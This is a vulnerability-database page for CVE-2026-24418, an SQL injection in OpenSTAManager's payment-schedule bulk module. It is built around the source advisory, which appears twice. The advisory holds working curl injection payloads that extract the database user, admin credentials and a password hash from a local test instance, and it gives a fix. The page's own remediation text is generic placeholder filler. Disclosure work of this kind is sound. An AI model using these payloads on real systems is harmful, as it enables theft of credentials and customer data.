CVE-2026-24418: Devcode it/openstamanager SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-4xwv-49c8-fvhq
CWE-89
Published
Advisory Summary

CVE-2026-24418 is a HIGH sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager has a sql injection vulnerability in the scadenzario bulk operations module. Remediation is available in the latest vendor maintenance releases.

CVE-2026-24418 at a Glance

CVE Identifier CVE-2026-24418
GHSA Identifier GHSA-4xwv-49c8-fvhq
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Devcode it/openstamanager
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-24418

To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

devcode-it/openstamanager fixed: Latest secure release
Upgrade devcode-it/openstamanager to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for devcode-it/openstamanager

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-24418, inspect your project dependencies for Devcode it/openstamanager:

inspect dependencies for devcode-it/openstamanager

Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Critical Error-Based SQL Injection vulnerability in the Scadenzario (Payment Schedule) bulk operations module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) **Vulnerable Parameter:** `id_records[]` (POST array) **Affected Endpoint:** `/actions.php?id_module=18` (Scadenzario module) **Attack Type:** Error-Based SQL Injection (IN clause) ### Details OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module. The application fails to validate that elements of the `id_records` array are integers before using them in an SQL IN() clause, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages. **Vulnerability Chain:** 1. **Entry Point:** `/actions.php` (Lines 503-506) ```php $id_records = post('id_records'); $id_records = is_array($id_records) ? $id_records : explode(';', $id_records); $id_records = array_clean($id_records); $id_records = array_unique($id_records); ``` The `array_clean()` function only removes empty values - it does NOT validate types. 2. **Vulnerable Function:** `/lib/util.php` (Lines 54-60) ```php function array_clean($array) { if (!empty($array)) { return array_unique(array_values(array_filter($array, fn ($value) => !empty($value)))); } } ``` **Impact:** The function filters out empty values but accepts any non-empty value, including SQL Injection payloads. 3. **SQL Injection Point:** `/modules/scadenzario/bulk.php` (Line 88) **PRIMARY VULNERABILITY** ```php $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento'); ``` **Impact:** Array elements from `$id_records` are directly concatenated using `implode()` without type validation or `prepare()`, enabling full SQL Injection. **Root Cause Analysis:** The vulnerability exists because: 1. `post('id_records')` returns user-controlled array 2. `array_clean()` only removes empty values, not non-integer values 3. `implode(',', $id_records)` concatenates array elements directly into SQL 4. No validation ensures array elements are integers 5. Attacker can inject SQL by providing: `id_records[]=1&id_records[]=(MALICIOUS SQL)#` **Affected Code Path:** ``` POST /actions.php?id_module=18 ↓ actions.php:503 - $id_records = post('id_records') ↓ actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION] ↓ actions.php:509 - include 'modules/scadenzario/bulk.php' ↓ bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT] ``` ### PoC **Step 1: Login** ```bash curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \ -d 'username=admin&password=admin' ``` **Step 2: Verify Vulnerability (Error-Based SQL Injection)** **Test 1: Extract Database User and Version** ```bash curl -b cookies.txt \ -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \ "http://localhost:8081/actions.php?id_module=18" ``` **Response (error message visible to attacker):** ```html <code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code> ``` **Test 2: Extract Admin Credentials** ```bash curl -b cookies.txt \ -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \ "http://localhost:8081/actions.php?id_module=18" ``` **Response:** ```html <code>XPATH syntax error: '~admin:admin@osm.local'</code> ``` **Test 3: Extract Password Hash (Part 1 - first 31 chars)** ```bash curl -b cookies.txt \ -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \ "http://localhost:8081/actions.php?id_module=18" ``` **Response:** ```html <code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code> ``` **Test 4: Extract Password Hash (Part 2 - chars 32-60)** ```bash curl -b cookies.txt \ -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \ "http://localhost:8081/actions.php?id_module=18" ``` **Response:** ```html <code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code> ``` **Combined Password Hash:** ``` $2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK ``` ### Impact **All authenticated users with access to the Scadenzario (Payment Schedule) module bulk operations. **Recommended Fix:** **Primary Fix - Type Validation:** File: `/modules/scadenzario/bulk.php` **BEFORE (Vulnerable - Line 88):** ```php $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento'); ``` **AFTER (Fixed):** ```php // Validate that all array elements are integers $id_records = array_map('intval', $id_records); $id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento'); ``` ### Credits Discovered by Łukasz Rybak

CVE-2026-24418 Affected Devcode it/openstamanager Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
devcode-it/openstamanager
Packagist
≤ 2.9.8

References

Frequently Asked Questions

What is CVE-2026-24418?
CVE-2026-24418 is a security vulnerability in Devcode it/openstamanager involving OpenSTAManager has a SQL Injection vulnerability in the Scadenzario bulk operations module under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Devcode it/openstamanager versions are affected?
Affected versions include releases prior to current release patches across affected packages: devcode-it/openstamanager.
What version fixes CVE-2026-24418?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is devcode-it/openstamanager affected?
Yes, devcode-it/openstamanager is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-24418?
CVE-2026-24418 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-24418?
Run the dependency tree command: 'inspect dependencies for devcode-it/openstamanager'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4xwv-49c8-fvhq",
  "modified" : "2026-02-10T01:17:51Z",
  "published" : "2026-02-06T18:24:10Z",
  "aliases" : [ "CVE-2026-24418" ],
  "summary" : "OpenSTAManager has a SQL Injection vulnerability in the Scadenzario bulk operations module",
  "details" : "### Summary\n\nCritical Error-Based SQL Injection vulnerability in the Scadenzario (Payment Schedule) bulk operations module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages.\n\n**Status:** ✅ Confirmed and tested on live instance (v2.9.8)\n**Vulnerable Parameter:** `id_records[]` (POST array)\n**Affected Endpoint:** `/actions.php?id_module=18` (Scadenzario module)\n**Attack Type:** Error-Based SQL Injection (IN clause)\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module. The application fails to validate that elements of the `id_records` array are integers before using them in an SQL IN() clause, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/actions.php` (Lines 503-506)\n   ```php\n   $id_records = post('id_records');\n   $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);\n   $id_records = array_clean($id_records);\n   $id_records = array_unique($id_records);\n   ```\n   The `array_clean()` function only removes empty values - it does NOT validate types.\n\n2. **Vulnerable Function:** `/lib/util.php` (Lines 54-60)\n   ```php\n   function array_clean($array)\n   {\n       if (!empty($array)) {\n           return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));\n       }\n   }\n   ```\n   **Impact:** The function filters out empty values but accepts any non-empty value, including SQL Injection payloads.\n\n3. **SQL Injection Point:** `/modules/scadenzario/bulk.php` (Line 88) **PRIMARY VULNERABILITY**\n   ```php\n   $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');\n   ```\n   **Impact:** Array elements from `$id_records` are directly concatenated using `implode()` without type validation or `prepare()`, enabling full SQL Injection.\n\n**Root Cause Analysis:**\n\nThe vulnerability exists because:\n1. `post('id_records')` returns user-controlled array\n2. `array_clean()` only removes empty values, not non-integer values\n3. `implode(',', $id_records)` concatenates array elements directly into SQL\n4. No validation ensures array elements are integers\n5. Attacker can inject SQL by providing: `id_records[]=1&id_records[]=(MALICIOUS SQL)#`\n\n**Affected Code Path:**\n```\nPOST /actions.php?id_module=18\n  ↓\nactions.php:503 - $id_records = post('id_records')\n  ↓\nactions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]\n  ↓\nactions.php:509 - include 'modules/scadenzario/bulk.php'\n  ↓\nbulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]\n```\n\n### PoC\n\n**Step 1: Login**\n```bash\ncurl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \\\n  -d 'username=admin&password=admin'\n```\n\n**Step 2: Verify Vulnerability (Error-Based SQL Injection)**\n\n**Test 1: Extract Database User and Version**\n```bash\ncurl -b cookies.txt \\\n  -d \"op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23\" \\\n  \"http://localhost:8081/actions.php?id_module=18\"\n```\n\n**Response (error message visible to attacker):**\n```html\n<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>\n```\n\n**Test 2: Extract Admin Credentials**\n```bash\ncurl -b cookies.txt \\\n  -d \"op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23\" \\\n  \"http://localhost:8081/actions.php?id_module=18\"\n```\n\n**Response:**\n```html\n<code>XPATH syntax error: '~admin:admin@osm.local'</code>\n```\n\n**Test 3: Extract Password Hash (Part 1 - first 31 chars)**\n```bash\ncurl -b cookies.txt \\\n  -d \"op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23\" \\\n  \"http://localhost:8081/actions.php?id_module=18\"\n```\n\n**Response:**\n```html\n<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>\n```\n\n**Test 4: Extract Password Hash (Part 2 - chars 32-60)**\n```bash\ncurl -b cookies.txt \\\n  -d \"op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23\" \\\n  \"http://localhost:8081/actions.php?id_module=18\"\n```\n\n**Response:**\n```html\n<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>\n```\n\n**Combined Password Hash:**\n```\n$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK\n```\n\n\n### Impact\n\n**All authenticated users with access to the Scadenzario (Payment Schedule) module bulk operations.\n\n**Recommended Fix:**\n\n**Primary Fix - Type Validation:**\n\nFile: `/modules/scadenzario/bulk.php`\n\n**BEFORE (Vulnerable - Line 88):**\n```php\n$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');\n```\n\n**AFTER (Fixed):**\n```php\n// Validate that all array elements are integers\n$id_records = array_map('intval', $id_records);\n$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs\n\n$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');\n```\n\n### Credits\nDiscovered by Łukasz Rybak",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "devcode-it/openstamanager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.9.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24418"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/devcode-it/openstamanager"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-06T18:24:10Z",
    "nvd_published_at" : "2026-02-06T19:16:09Z"
  }
}